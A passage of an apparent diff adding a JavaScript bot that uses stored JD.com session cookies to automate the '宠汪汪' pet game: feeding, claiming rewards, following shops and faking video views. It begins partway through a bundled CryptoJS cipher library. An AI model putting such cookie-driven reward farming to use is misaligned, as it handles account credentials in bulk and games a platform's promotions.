c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('宠汪汪'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let allMessage = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let message = '', subTitle = ''; +let FEED_NUM = ($.getdata('joyFeedCount') * 1) || 10; //每次喂养数量 [10,20,40,80] +let teamLevel = `2`;//参加多少人的赛跑比赛,默认是双人赛跑,可选2,10,50。其他不可选,其中2代表参加双人PK赛,10代表参加10人突围赛,50代表参加50人挑战赛,如若想设置不同账号参加不同类别的比赛则用&区分即可(如:`2&10&50`) +//是否参加宠汪汪双人赛跑(据目前观察,参加双人赛跑不消耗狗粮,如需参加其他多人赛跑,请关闭) +// 默认 'true' 参加双人赛跑,如需关闭 ,请改成 'false'; +let joyRunFlag = true; +let jdNotify = true;//是否开启静默运行,默认true开启 +let joyRunNotify = true;//宠汪汪赛跑获胜后是否推送通知,true推送,false不推送通知 +const JD_API_HOST = 'https://jdjoy.jd.com/pet' +const weAppUrl = 'https://draw.jdfcloud.com//pet'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await jdJoy(); + await showMsg(); + // await joinTwoPeopleRun(); + } + } + if ($.isNode() && joyRunNotify === 'true' && allMessage) await notify.sendNotify(`${$.name}`, `${allMessage}`) +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdJoy() { + try { + await getPetTaskConfig(); + if ($.getPetTaskConfigRes.success) { + if ($.isNode()) { + if (process.env.JOY_FEED_COUNT) { + if ([0, 10, 20, 40, 80].indexOf(process.env.JOY_FEED_COUNT * 1) > -1) { + FEED_NUM = process.env.JOY_FEED_COUNT ? process.env.JOY_FEED_COUNT * 1 : FEED_NUM; + } else { + console.log(`您输入的 JOY_FEED_COUNT 为非法数字,请重新输入`); + } + } + } + await feedPets(FEED_NUM);//喂食 + await Promise.all([ + petTask(), + appPetTask() + ]) + await deskGoodsTask();//限时货柜 + await enterRoom(); + await joinTwoPeopleRun()//参加双人赛跑 + } else { + message += `${$.getPetTaskConfigRes.errorMessage}`; + } + } catch (e) { + $.logErr(e) + } +} +//逛商品得100积分奖励任务 +async function deskGoodsTask() { + const deskGoodsRes = await getDeskGoodDetails(); + if (deskGoodsRes && deskGoodsRes.success) { + if (deskGoodsRes.data && deskGoodsRes.data.deskGoods) { + const { deskGoods, taskChance, followCount = 0 } = deskGoodsRes.data; + console.log(`浏览货柜商品 ${followCount ? followCount : 0}/${taskChance}`); + if (taskChance === followCount) return + for (let item of deskGoods) { + if (!item['status'] && item['sku']) { + await followScan(item['sku']) + } + } + } else { + console.log(`\n限时商品货架已下架`); + } + } +} +//参加双人赛跑 +async function joinTwoPeopleRun() { + joyRunFlag = $.getdata('joyRunFlag') ? $.getdata('joyRunFlag') : joyRunFlag; + if ($.isNode() && process.env.JOY_RUN_FLAG) { + joyRunFlag = process.env.JOY_RUN_FLAG; + } + if (`${joyRunFlag}` === 'true') { + let teamLevelTemp = []; + teamLevelTemp = $.isNode() ? (process.env.JOY_TEAM_LEVEL ? process.env.JOY_TEAM_LEVEL.split('&') : teamLevel.split('&')) : ($.getdata('JOY_TEAM_LEVEL') ? $.getdata('JOY_TEAM_LEVEL').split('&') : teamLevel.split('&')); + teamLevelTemp = teamLevelTemp[$.index - 1] ? teamLevelTemp[$.index - 1] : 2; + await getPetRace(); + console.log(`\n===以下是京东账号${$.index} ${$.nickName} ${$.petRaceResult.data.teamLimitCount || teamLevelTemp}人赛跑信息===\n`) + if ($.petRaceResult) { + let petRaceResult = $.petRaceResult.data.petRaceResult; + // let raceUsers = $.petRaceResult.data.raceUsers; + console.log(`赛跑状态:${petRaceResult}\n`); + if (petRaceResult === 'not_participate') { + console.log(`暂未参赛,现在为您参加${teamLevelTemp}人赛跑`); + await runMatch(teamLevelTemp * 1); + if ($.runMatchResult.success) { + await getWinCoin(); + console.log(`${$.getWinCoinRes.data.teamLimitCount || teamLevelTemp}人赛跑参加成功\n`); + message += `${$.getWinCoinRes.data.teamLimitCount || teamLevelTemp}人赛跑:成功参加\n`; + // if ($.getWinCoinRes.data['supplyOrder']) await energySupplyStation($.getWinCoinRes.data['supplyOrder']); + await energySupplyStation('2'); + // petRaceResult = $.petRaceResult.data.petRaceResult; + // await getRankList(); + console.log(`双人赛跑助力请自己手动去邀请好友,脚本不带赛跑助力功能\n`); + } + } + if (petRaceResult === 'unbegin') { + console.log('比赛还未开始,请九点再来'); + } + if (petRaceResult === 'time_over') { + console.log('今日参赛的比赛已经结束,请明天九点再来'); + } + if (petRaceResult === 'unreceive') { + console.log('今日参赛的比赛已经结束,现在领取奖励'); + await getWinCoin(); + let winCoin = 0; + if ($.getWinCoinRes && $.getWinCoinRes.success) { + winCoin = $.getWinCoinRes.data.winCoin; + } + await receiveJoyRunAward(); + console.log(`领取赛跑奖励结果:${JSON.stringify($.receiveJoyRunAwardRes)}`) + if ($.receiveJoyRunAwardRes.success) { + joyRunNotify = $.isNode() ? (process.env.JOY_RUN_NOTIFY ? process.env.JOY_RUN_NOTIFY : `${joyRunNotify}`) : ($.getdata('joyRunNotify') ? $.getdata('joyRunNotify') : `${joyRunNotify}`); + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n太棒了,${$.name}赛跑取得获胜\n恭喜您已获得${winCoin}积分奖励`); + allMessage += `京东账号${$.index}${$.nickName}\n太棒了,${$.name}赛跑取得获胜\n恭喜您已获得${winCoin}积分奖励${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // if ($.isNode() && joyRunNotify === 'true') await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index}${$.nickName}\n太棒了,${$.name}赛跑取得获胜\n恭喜您已获得${winCoin}积分奖励`) + } + } + if (petRaceResult === 'participate') { + // if ($.getWinCoinRes.data['supplyOrder']) await energySupplyStation($.getWinCoinRes.data['supplyOrder']); + await energySupplyStation('2'); + await getRankList(); + if($.raceUsers && $.raceUsers.length > 0) { + for (let index = 0; index < $.raceUsers.length; index++) { + if (index === 0) { + console.log(`您当前里程:${$.raceUsers[index].distance}KM\n当前排名:第${$.raceUsers[index].rank}名\n将获得积分:${$.raceUsers[index].coin}\n`); + // message += `您当前里程:${$.raceUsers[index].distance}km\n`; + } else { + console.log(`对手 ${$.raceUsers[index].nickName} 当前里程:${$.raceUsers[index].distance}KM`); + // message += `对手当前里程:${$.raceUsers[index].distance}km\n`; + } + } + } + console.log('\n今日已参赛,下面显示应援团信息'); + await getBackupInfo(); + if ($.getBackupInfoResult.success) { + const { currentNickName, totalMembers, totalDistance, backupList } = $.getBackupInfoResult.data; + console.log(`${currentNickName}的应援团信息如下\n团员:${totalMembers}个\n团员助力的里程数:${totalDistance}\n`); + if (backupList && backupList.length > 0) { + for (let item of backupList) { + console.log(`${item.nickName}为您助力${item.distance}km`); + } + } else { + console.log(`暂无好友为您助力赛跑,如需助力,请手动去邀请好友助力\n`); + } + } + } + } + } else { + console.log(`您设置的是不参加双人赛跑`) + } +} +//日常任务 +async function petTask() { + for (let item of $.getPetTaskConfigRes.datas) { + const joinedCount = item.joinedCount || 0; + if (item['receiveStatus'] === 'chance_full') { + console.log(`${item.taskName} 任务已完成`) + continue + } + //每日签到 + if (item['taskType'] === 'SignEveryDay') { + if (item['receiveStatus'] === 'chance_left') { + console.log('每日签到未完成,需要自己手动去微信小程序【来客有礼】签到,可获得京豆奖励') + } else if (item['receiveStatus'] === 'unreceive') { + //已签到,领取签到后的狗粮 + const res = await getFood('SignEveryDay'); + console.log(`领取每日签到狗粮结果:${res.data}`); + } + } + //每日赛跑 + if (item['taskType'] === 'race') { + if (item['receiveStatus'] === 'chance_left') { + console.log('每日赛跑未完成') + } else if (item['receiveStatus'] === 'unreceive') { + const res = await getFood('race'); + console.log(`领取每日赛跑狗粮结果:${res.data}`); + } + } + //每日兑换 + if (item['taskType'] === 'exchange') { + if (item['receiveStatus'] === 'chance_left') { + console.log('每日兑换未完成') + } else if (item['receiveStatus'] === 'unreceive') { + const res = await getFood('exchange'); + console.log(`领取每日兑换狗粮结果:${res.data}`); + } + } + //每日帮好友喂一次狗粮 + if (item['taskType'] === 'HelpFeed') { + if (item['receiveStatus'] === 'chance_left') { + console.log('每日帮好友喂一次狗粮未完成') + } else if (item['receiveStatus'] === 'unreceive') { + const res = await getFood('HelpFeed'); + console.log(`领取每日帮好友喂一次狗粮 狗粮结果:${res.data}`); + } + } + //每日喂狗粮 + if (item['taskType'] === 'FeedEveryDay') { + if (item['receiveStatus'] === 'chance_left') { + console.log(`\n${item['taskName']}任务进行中\n`) + } else if (item['receiveStatus'] === 'unreceive') { + const res = await getFood('FeedEveryDay'); + console.log(`领取每日喂狗粮 结果:${res.data}`); + } + } + // + //邀请用户助力,领狗粮.(需手动去做任务) + if (item['taskType'] === 'InviteUser') { + if (item['receiveStatus'] === 'chance_left') { + console.log('未完成,需要自己手动去邀请好友给你助力,可以获得狗粮') + } else if (item['receiveStatus'] === 'unreceive') { + const InviteUser = await getFood('InviteUser'); + console.log(`领取助力后的狗粮结果::${JSON.stringify(InviteUser)}`); + } + } + //每日三餐 + if (item['taskType'] === 'ThreeMeals') { + console.log('-----每日三餐-----'); + if (item['receiveStatus'] === 'unreceive') { + const ThreeMealsRes = await getFood('ThreeMeals'); + if (ThreeMealsRes.success) { + if (ThreeMealsRes.errorCode === 'received') { + console.log(`三餐结果领取成功`) + message += `【三餐】领取成功,获得${ThreeMealsRes.data}g狗粮\n`; + } + } + } + } + //关注店铺 + if (item['taskType'] === 'FollowShop') { + console.log('-----关注店铺-----'); + const followShops = item.followShops; + for (let shop of followShops) { + if (!shop.status) { + const followShopRes = await followShop(shop.shopId); + console.log(`关注店铺${shop.name}结果::${JSON.stringify(followShopRes)}`) + } + } + } + //逛会场 + if (item['taskType'] === 'ScanMarket') { + console.log('----逛会场----'); + const scanMarketList = item.scanMarketList; + for (let scanMarketItem of scanMarketList) { + if (!scanMarketItem.status) { + const body = { + "marketLink": scanMarketItem.marketLink, + "taskType": "ScanMarket", + //"reqSource": "weapp" + }; + const scanMarketRes = await scanMarket('scan', body); + console.log(`逛会场-${scanMarketItem.marketName}结果::${JSON.stringify(scanMarketRes)}`) + } + } + } + //浏览频道 + if (item['taskType'] === 'FollowChannel') { + console.log('----浏览频道----'); + const followChannelList = item.followChannelList; + for (let followChannelItem of followChannelList) { + if (!followChannelItem.status) { + const body = { + "channelId": followChannelItem.channelId, + "taskType": "FollowChannel", + "reqSource": "weapp" + }; + const scanMarketRes = await scanMarket('scan', body); + console.log(`浏览频道-${followChannelItem.channelName}结果::${JSON.stringify(scanMarketRes)}`) + } + } + } + //关注商品 + if (item['taskType'] === 'FollowGood') { + console.log('----关注商品----'); + const followGoodList = item.followGoodList; + for (let followGoodItem of followGoodList) { + if (!followGoodItem.status) { + const body = `sku=${followGoodItem.sku}&reqSource=h5`; + const scanMarketRes = await scanMarket('followGood', body, 'application/x-www-form-urlencoded'); + // const scanMarketRes = await appScanMarket('followGood', `sku=${followGoodItem.sku}&reqSource=h5`, 'application/x-www-form-urlencoded'); + console.log(`关注商品-${followGoodItem.skuName}结果::${JSON.stringify(scanMarketRes)}`) + } + } + } + //看激励视频 + if (item['taskType'] === 'ViewVideo') { + console.log('----浏览频道----'); + if (item.taskChance === joinedCount) { + console.log('今日激励视频已看完') + } else { + for (let i = 0; i < new Array(item.taskChance - joinedCount).fill('').length; i++) { + console.log(`开始第${i+1}次看激励视频`); + const body = {"taskType":"ViewVideo","reqSource":"weapp"} + let sanVideoRes = await scanMarket('scan', body); + console.log(`看视频激励结果--${JSON.stringify(sanVideoRes)}`); + } + } + } + } +} +async function appPetTask() { + await appGetPetTaskConfig(); + // console.log('$.appGetPetTaskConfigRes', $.appGetPetTaskConfigRes.success) + if ($.appGetPetTaskConfigRes.success) { + for (let item of $.appGetPetTaskConfigRes.datas) { + if (item['taskType'] === 'ScanMarket' && item['receiveStatus'] === 'chance_left') { + const scanMarketList = item.scanMarketList; + for (let scan of scanMarketList) { + if (!scan.status && scan.showDest === 'h5') { + const body = { marketLink: scan.marketLinkH5, taskType: 'ScanMarket', reqSource: 'h5' } + await appScanMarket('scan', body); + } + } + } + } + } +} +function getDeskGoodDetails() { + return new Promise(resolve => { + // const url = `${JD_API_HOST}/getDeskGoodDetails`; + const host = `jdjoy.jd.com`; + const reqSource = 'h5'; + let opt = { + url: "//jdjoy.jd.com/common/pet/getDeskGoodDetails?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5", + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url, host, reqSource), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function followScan(sku) { + return new Promise(resolve => { + // const url = `${JD_API_HOST}/scan`; + const host = `jdjoy.jd.com`; + const reqSource = 'h5'; + const body = { + "taskType": "ScanDeskGood", + "reqSource": "h5", + sku + } + let opt = { + url: "//jdjoy.jd.com/common/pet/scan?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5", + method: "POST", + data: body, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.post(taskPostUrl(url, JSON.stringify(body), reqSource, host, 'application/json'), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//小程序逛会场,浏览频道,关注商品API +function scanMarket(type, body, cType = 'application/json') { + return new Promise(resolve => { + // const url = `${weAppUrl}/${type}`; + const host = `draw.jdfcloud.com`; + const reqSource = 'weapp'; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: `//draw.jdfcloud.com/common/pet/${type}?reqSource=weapp&invokeKey=Oex5GmEuqGep1WLC`, + method: "POST", + data: body, + credentials: "include", + header: {"content-type": cType} + } + const url = "https:"+ taroRequest(opt)['url'] + if (cType === 'application/json') { + body = JSON.stringify(body) + } + $.post(taskPostUrl(url, body, reqSource, host, cType), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//app逛会场 +function appScanMarket(type, body) { + return new Promise(resolve => { + // const url = `${JD_API_HOST}/${type}`; + const host = `jdjoy.jd.com`; + const reqSource = 'h5'; + let opt = { + url: `//jdjoy.jd.com/common/pet/${type}?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC`, + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5", + method: "POST", + data: body, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.post(taskPostUrl(url, JSON.stringify(body), reqSource, host, 'application/json'), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // data = JSON.parse(data); + console.log(`京东app逛会场结果::${data}`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//领取狗粮API +function getFood(type) { + return new Promise(resolve => { + // const url = `${weAppUrl}/getFood?reqSource=weapp&taskType=${type}`; + const host = `draw.jdfcloud.com`; + const reqSource = 'weapp'; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: `//draw.jdfcloud.com/common/pet/getFood?reqSource=weapp&taskType=${type}&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url, host, reqSource), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//关注店铺api +function followShop(shopId) { + return new Promise(resolve => { + // const url = `${weAppUrl}/followShop`; + const body = `shopId=${shopId}`; + const reqSource = 'weapp'; + const host = 'draw.jdfcloud.com'; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: "//draw.jdfcloud.com/common/pet/followShop?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + method: "POST", + data: body, + credentials: "include", + header: {"content-type":"application/x-www-form-urlencoded"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.post(taskPostUrl(url, body, reqSource, host,'application/x-www-form-urlencoded'), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function enterRoom() { + return new Promise(resolve => { + // const url = `${weAppUrl}/enterRoom/h5?reqSource=weapp&invitePin=&openId=`; + const host = `draw.jdfcloud.com`; + const reqSource = 'weapp'; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: `//draw.jdfcloud.com/common/pet/enterRoom/h5?reqSource=h5&invitePin=&openId=&invokeKey=Oex5GmEuqGep1WLC`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.post({...taskUrl(url, host, reqSource),body:'{}'}, (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // console.log('JSON.parse(data)', JSON.parse(data)) + + $.roomData = JSON.parse(data); + + console.log(`现有狗粮: ${$.roomData.data.petFood}\n`) + + subTitle = `【用户名】${$.roomData.data.pin}` + message = `现有积分: ${$.roomData.data.petCoin}\n现有狗粮: ${$.roomData.data.petFood}\n喂养次数: ${$.roomData.data.feedCount}\n宠物等级: ${$.roomData.data.petLevel}\n` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function appGetPetTaskConfig() { + return new Promise(resolve => { + // const url = `${JD_API_HOST}/getPetTaskConfig?reqSource=h5`; + const host = `jdjoy.jd.com`; + const reqSource = 'h5'; + let opt = { + url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + // url: `//draw.jdfcloud.com/common/pet/feed?feedCount=${feedNum}&reqSource=h5`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url, host, reqSource), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // console.log('----', JSON.parse(data)) + $.appGetPetTaskConfigRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//喂食 +function feedPets(feedNum) { + return new Promise(resolve => { + console.log(`您设置的喂食数量:${FEED_NUM}g\n`); + if (FEED_NUM === 0) { console.log(`跳出喂食`);resolve();return } + console.log(`实际的喂食数量:${feedNum}g\n`); + // const url = `${weAppUrl}/feed?feedCount=${feedNum}&reqSource=weapp`; + const host = `draw.jdfcloud.com`; + const reqSource = 'weapp'; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: `//draw.jdfcloud.com/common/pet/feed?feedCount=${feedNum}&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url, host, reqSource), async (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + data = JSON.parse(data); + if (data.success) { + if (data.errorCode === 'feed_ok') { + console.log('喂食成功') + message += `【喂食成功】消耗${feedNum}g狗粮\n`; + } else if (data.errorCode === 'time_error') { + console.log('喂食失败:您的汪汪正在食用中,请稍后再喂食') + message += `【喂食失败】您的汪汪正在食用中,请稍后再喂食\n`; + } else if (data.errorCode === 'food_insufficient') { + console.log(`当前喂食${feedNum}g狗粮不够, 现为您降低一档次喂食\n`) + if ((feedNum) === 80) { + feedNum = 40; + } else if ((feedNum) === 40) { + feedNum = 20; + } else if ((feedNum) === 20) { + feedNum = 10; + } else if ((feedNum) === 10) { + feedNum = 0; + } + // 如果喂食设置的数量失败, 就降低一个档次喂食. + if ((feedNum) !== 0) { + await feedPets(feedNum); + } else { + console.log('您的狗粮已不足10g') + message += `【喂食失败】您的狗粮已不足10g\n`; + } + } else { + console.log(`其他状态${data.errorCode}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getPetTaskConfig() { + return new Promise(resolve => { + // const url = `${weAppUrl}/getPetTaskConfig?reqSource=weapp`; + // const host = `jdjoy.jd.com`; + // const reqSource = 'h5'; + const host = 